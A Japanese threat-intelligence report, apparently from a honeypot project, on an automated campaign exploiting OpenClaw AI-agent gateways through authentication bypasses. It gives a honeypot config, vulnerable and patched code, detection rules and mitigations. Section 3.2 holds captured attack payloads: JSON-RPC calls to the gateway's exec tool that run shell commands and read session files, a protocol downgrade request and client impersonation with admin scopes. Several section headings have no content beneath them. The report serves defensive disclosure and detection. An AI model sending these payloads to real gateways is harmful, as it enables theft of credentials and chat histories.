OpenClaw ゲートウェイインフラストラクチャをターゲットとした自動エクスプロイテーションキャンペーン

エグゼクティブサマリー

結論: 自動エクスプロイテーションキャンペーンが OpenClaw Gateway デプロイメントを積極的にターゲットとしています。攻撃者は正確なプロトコル知識を示し、認証バイパスの脆弱性を悪用し、認証情報と会話履歴を抽出するための体系的な 3 段階のプレイブックに従っています。パッチが当たっていないインスタンスは即座の危険にさらされています。

1. 攻撃の概要

1.1 背景

OpenClaw は、ポート 18789 で WebSocket API を公開する AI エージェントゲートウェイプラットフォームです。最近のパッチまで、この API は以下を行っていました:

• 設定がない場合、デフォルトで認証なし
• すべてのリバースプロキシ接続を localhost として信頼
• 認証されたクライアントに機密設定とチャット履歴を公開

OpenClaw Gateway を模倣する Beelzebub ハニーポットを展開して、攻撃者の行動を観察しました。最初のプローブは 45 分以内に到着しました。

1.1.1 Beelzebub 構成

すべての標準エンドポイント全体で OpenClaw Gateway レスポンスをシミュレートするように構成された Beelzebub ハニーポットをデプロイしました。

エミュレートされたエンドポイント:

構成

apiVersion: "v1"
protocol: "http"
address: ":18789"
description: "OpenClaw Gateway decoy"
commands:
  # --------------------------
  # WebSocket handshake decoy
  # --------------------------
  # Note: Sec-WebSocket-Accept here is static (not computed from Sec-WebSocket-Key).
  # This is enough to trick many scanners; strict WS clients may reject it.
  - regex: "^/$"
    headers:
      - "Server: openclaw-gateway"
      - "Connection: Upgrade"
      - "Upgrade: websocket"
      - "Sec-WebSocket-Version: 13"
      - "Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=" # dummy
      - "Cache-Control: no-store"
    statusCode: 101
    handler: ""

  - regex: "^/ws$"
    headers:
      - "Server: openclaw-gateway"
      - "Connection: Upgrade"
      - "Upgrade: websocket"
      - "Sec-WebSocket-Version: 13"
      - "Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=" # dummy
      - "Cache-Control: no-store"
    statusCode: 101
    handler: ""

  # --------------------------
  # Control UI (HTTP fallback)
  # --------------------------
  - regex: "^/ui/?$"
    headers:
      - "Content-Type: text/html; charset=utf-8"
      - "Server: openclaw-gateway"
      - "Cache-Control: no-store"
    statusCode: 200
    handler: |
      <!doctype html>
      <html>
      <head><meta charset="utf-8"><title>OpenClaw Gateway</title></head>
      <body>
        <h1>OpenClaw Gateway</h1>
        <p>Control UI is enabled.</p>
        <ul>
          <li><code>/tools/invoke</code></li>
          <li><code>/v1/chat/completions</code></li>
          <li><code>/v1/responses</code></li>
          <li><code>/hooks/*</code></li>
          <li><code>WS:</code> <code>/</code> or <code>/ws</code></li>
        </ul>
      </body>
      </html>

  # --------------------------
  # Basic probes
  # --------------------------
  - regex: "^/(health|status|metrics)$"
    headers:
      - "Content-Type: application/json"
      - "Server: openclaw-gateway"
      - "Cache-Control: no-store"
    statusCode: 200
    handler: |
      {"ok":true,"service":"openclaw-gateway","version":"0.0.0","note":"decoy"}

  # --------------------------
  # Tools Invoke (POST /tools/invoke)
  # Always enabled in real OpenClaw, but gated by auth/policy
  # --------------------------
  - regex: "^/tools/invoke$"
    headers:
      - "Content-Type: application/json"
      - "Server: openclaw-gateway"
      - "WWW-Authenticate: Bearer realm=\"openclaw\""
      - "Cache-Control: no-store"
    statusCode: 401
    handler: |
      {"error":{"message":"Unauthorized","type":"auth_error","code":"invalid_api_key"}}

  # --------------------------
  # OpenAI-compatible (POST /v1/chat/completions) – often disabled by default
  # --------------------------
  - regex: "^/v1/chat/completions$"
    headers:
      - "Content-Type: application/json"
      - "Server: openclaw-gateway"
      - "Cache-Control: no-store"
    statusCode: 404
    handler: |
      {"error":{"message":"Not Found (endpoint disabled)","type":"not_found","code":"endpoint_disabled"}}

  # --------------------------
  # OpenResponses-compatible (POST /v1/responses) – often disabled by default
  # --------------------------
  - regex: "^/v1/responses$"
    headers:
      - "Content-Type: application/json"
      - "Server: openclaw-gateway"
      - "Cache-Control: no-store"
    statusCode: 404
    handler: |
      {"error":{"message":"Not Found (endpoint disabled)","type":"not_found","code":"endpoint_disabled"}}

  # --------------------------
  # Hooks (/hooks/wake, /hooks/agent, /hooks/<name>)
  # --------------------------
  - regex: "^/hooks/(wake|agent)$"
    headers:
      - "Content-Type: application/json"
      - "Server: openclaw-gateway"
      - "WWW-Authenticate: Bearer realm=\"openclaw-hooks\""
      - "Cache-Control: no-store"
    statusCode: 401
    handler: |
      {"error":{"message":"Unauthorized hook","type":"auth_error","code":"invalid_hook_token"}}

  - regex: "^/hooks/[^/]+$"
    headers:
      - "Content-Type: application/json"
      - "Server: openclaw-gateway"
      - "WWW-Authenticate: Bearer realm=\"openclaw-hooks\""
      - "Cache-Control: no-store"
    statusCode: 401
    handler: |
      {"error":{"message":"Unauthorized hook mapping","type":"auth_error","code":"invalid_hook_token"}}

  # --------------------------
  # Canvas hint (redirect to canvas host)
  # --------------------------
  - regex: "^/__openclaw__/canvas/?$"
    headers:
      - "Location: http://127.0.0.1:18793/__openclaw__/canvas/"
      - "Server: openclaw-gateway"
      - "Cache-Control: no-store"
    statusCode: 301
    handler: ""

  # --------------------------
  # Catch-all with LLM
  # --------------------------
  - regex: "^.*$"
    plugin: "LLMHoneypot"

完全な構成については、Beelzebub API ドキュメントを参照してください。

1.2 攻撃者の目的

成功した侵害は以下をもたらします:

1.3 主な知見

1. 直接プロトコル攻撃: シェルエクスキューション用の生 JSON-RPC コマンドの送信
2. プロトコルダウングレード悪用: プローブが minProtocol: 1 を強制して、2026 年 1 月より前のリリースの認証の脆弱性をターゲットにします
3. 正確なプロトコル知識: プローブされたメソッドの 100% が実際の OpenClaw ハンドラーにマップされます。これは推測ではありません
4. 体系的な列挙: 3 段階のプレイブック (偵察 → 列挙 → 悪用) で最大値を抽出します
5. クライアント偽装: 攻撃者は正当なクライアント識別子 (openclaw-control-ui、moltbot-control-ui) を偽装します

2. 脆弱性分析

2.1 認証バイパス (2026 年 1 月にパッチ適用)

根本原因: トークンまたはパスワードが構成されていないときに認証が none にデフォルト設定されました。

// VULNERABLE CODE
const mode: ResolvedGatewayAuth["mode"] =
  authConfig.mode ?? (password ? "password" : token ? "token" : "none");

// PATCHED CODE
const mode: ResolvedGatewayAuth["mode"] =
  authConfig.mode ?? (password ? "password" : "token");

影響: すべてのゲートウェイ機能への完全な非認証アクセス。

2.2 リバースプロキシ信頼バイパス (2026 年 1 月にパッチ適用)

根本原因: nginx/Caddy/Traefik の背後にあるゲートウェイは、すべてのプロキシ接続を信頼できる localhost として扱いました。

// VULNERABLE CODE
const isLocalClient = isLocalGatewayAddress(clientIp);
// Problem: clientIp was the proxy's address (127.0.0.1), not the real client

// PATCHED CODE
const hasProxyHeaders = Boolean(forwardedFor || realIp);
const remoteIsTrustedProxy = isTrustedProxyAddress(remoteAddr, trustedProxies);
const hasUntrustedProxyHeaders = hasProxyHeaders && !remoteIsTrustedProxy;
const isLocalClient = !hasUntrustedProxyHeaders && isLocalGatewayAddress(clientIp);

影響: 設定されていないリバースプロキシを通じてルーティングされる外部接続は認証を回避します。

3. 攻撃方法論

3.1 3 段階攻撃プレイブック

3.2 攻撃技法

直接コマンド実行

シェルアクセス用の生 JSON-RPC:

{"id": 1, "method": "tool", "params": {"args": {"command": "whoami"}, "name": "exec"}, "jsonrpc": "2.0"}
{"id": 4, "method": "tool", "params": {"args": {"command": "cat ~/.openclaw/agents/*/sessions/*.jsonl"}, "name": "exec"}, "jsonrpc": "2.0"}

プロトコルダウングレード

パッチされた脆弱性を悪用するために古いプロトコルバージョンを強制する:

{"id": 1, "type": "req", "method": "connect", "params": {
  "client": {"id": "cli-client", "mode": "interactive", "version": "1.0.0", "platform": "linux"},
  "maxProtocol": 1, "minProtocol": 1
}}

クライアント偽装

正当なコントロール UI クライアントを偽装して、通常のトラフィックに混じる:

{"params": {
  "role": "operator",
  "client": {"id": "openclaw-control-ui", "mode": "webchat", "version": "dev"},
  "scopes": ["operator.admin", "operator.approvals", "operator.pairing"]
}}

3.3 プローブされたメソッド対実際のハンドラー

プローブされたすべてのメソッドは OpenClaw ソースの対応するハンドラーを持っています:

4. 技術的証拠

4.1 攻撃タイムライン

2026 年 2 月 1 日のすべての時刻は UTC です。

総攻撃期間: 完全な偵察から悪用サイクルまで約 9 秒。

4.2 スキャナー識別

{
  "clientInfo": {
    "name": "gitmc-org-mcp-scanner",
    "version": "1.0.0"
  },
  "protocolVersion": "2025-06-18",
  "capabilities": {
    "sampling": {},
    "elicitation": {},
    "roots": {"listChanged": true}
  }
}

4.3 完全な列挙シーケンス

単一の WebSocket セッションからキャプチャ:

{"id": "req-1", "type": "req", "method": "connect", "params": {...}}
{"id": "req-2", "type": "req", "method": "health", "params": {}}
{"id": "req-3", "type": "req", "method": "system-presence", "params": {}}
{"id": "req-4", "type": "req", "method": "agents.list", "params": {}}
{"id": "req-5", "type": "req", "method": "sessions.list", "params": {}}
{"id": "req-6", "type": "req", "method": "config.get", "params": {}}
{"id": "req-7", "type": "req", "method": "models.list", "params": {}}
{"id": "req-8", "type": "req", "method": "skills.status", "params": {}}
{"id": "req-9", "type": "req", "method": "cron.list", "params": {}}

4.4 バージョンターゲッティング証拠

5. 侵害の指標

5.1 ネットワーク IOC

IP Addresses:
  - 185.180.141.19  # ポルトガル、リスボン首都圏

User-Agent Patterns:
  - python-httpx/*
  - Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36

Ports:
  - 18789/tcp (OpenClaw Gateway デフォルト)

5.2 リクエスト署名

# MCP Scanner Initialization
- method: POST
  path: /mcp
  body_contains: '"method":"initialize"'
  body_contains: 'mcp-scanner'

# Direct Command Execution
- method: POST
  body_contains: '"method":"tool"'
  body_contains: '"name":"exec"'

# Protocol Downgrade
- body_contains: '"minProtocol": 1'
- body_contains: '"maxProtocol": 1'

# Client Impersonation
- body_contains: '"id":"moltbot-control-ui"'
- body_contains: '"id":"openclaw-control-ui"'

# Credential Extraction
- body_contains: '"method":"config.get"'
- body_contains: '"method":"chat.history"'

# Infrastructure Enumeration
- body_contains: '"method":"node.list"'
- body_contains: '"method":"agents.list"'
- body_contains: '"method":"sessions.list"'

6. 検出とハンティング

6.1 Sigma 検出ルール

title: OpenClaw Gateway Exploitation Attempt
id: b2c3d4e5-f6a7-8901-bcde-f23456789012
status: experimental
description: OpenClaw AI エージェントインフラストラクチャをターゲットとした MCP プロトコルスキャンと悪用試行を検出します
author: Beelzebub Security Labs
date: 2026/02/01
references:
  - https://github.com/mariocandela/beelzebub
  - https://openclaw.ai/
logsource:
  category: webserver
  product: any

detection:
  # Phase 1: Scanner Initialization
  scanner_init:
    cs-method: POST
    cs-uri-stem|contains: '/mcp'
    request_body|contains|all:
      - '"method":"initialize"'
      - 'mcp-scanner'

  # Phase 2: Direct Exploitation
  tool_execution:
    request_body|contains|all:
      - '"method":"tool"'
      - '"name":"exec"'

  credential_extraction:
    request_body|contains:
      - '"method":"config.get"'

  protocol_downgrade:
    request_body|contains|all:
      - '"minProtocol"'
      - ': 1'

  # Phase 3: Enumeration
  infrastructure_enum:
    request_body|contains:
      - '"method":"node.list"'
      - '"method":"agents.list"'
      - '"method":"sessions.list"'
      - '"method":"chat.history"'

  # Client Impersonation
  client_spoof:
    request_body|contains:
      - 'moltbot-control-ui'
      - 'openclaw-control-ui'

  condition: scanner_init or tool_execution or credential_extraction or protocol_downgrade or infrastructure_enum or client_spoof

falsepositives:
  - 既知の内部 IP からの正当な MCP クライアント初期化
  - 認可されたセキュリティテスト

level: high

tags:
  - attack.reconnaissance
  - attack.t1595
  - attack.t1046
  - attack.credential_access
  - attack.t1552

6.2 ハンティングクエリ

Splunk:

index=webserver sourcetype=access_combined
| search (uri_path="/mcp" OR uri_path="/ws" OR uri_path="/sse")
| where match(request_body, "(?i)(config\.get|chat\.history|node\.list|method.*tool.*exec)")
| stats count by src_ip, uri_path, request_body
| where count > 3

Elastic/KQL:

http.request.body.content: (*"method":"config.get"* OR *"method":"chat.history"* OR *"method":"node.list"* OR *"name":"exec"*)
AND url.path: ("/mcp" OR "/ws" OR "/sse")

7.1 ネットワークアーキテクチャ

しない: OpenClaw ゲートウェイをインターネットに直接公開します。

推奨されるアクセスパターン:

• ローカル開発: localhost のみにバインド
• リモートアクセス: Tailscale Serve または IP ホワイトリスト付き VPN
• 本番環境: 認証 API ゲートウェイを備えたプライベートネットワーク

7.2 認証情報のローテーション

侵害の疑いがある場合は、すぐにローテーションしてください:

1. Anthropic API キー
2. OpenAI API キー
3. ゲートウェイ認証トークン
4. チャネル トークン (Telegram、Discord、Slack)
5. OpenClaw 構成に保存されている認証情報

7.3 監視実装

セクション 6 から検出ルールをデプロイし、以下を監視します:

• /mcp、/ws、/sse への POST リクエスト
• exec 名を持つ JSON-RPC tool メソッド
• config.get および chat.history リクエスト
• プロトコルダウングレード試行 (minProtocol: 1)
• 偽装されたクライアント識別子

8. フレームワークマッピング

Beelzebub チームはインターネットを幸せでより安全な場所にするために取り組んでいます ❤️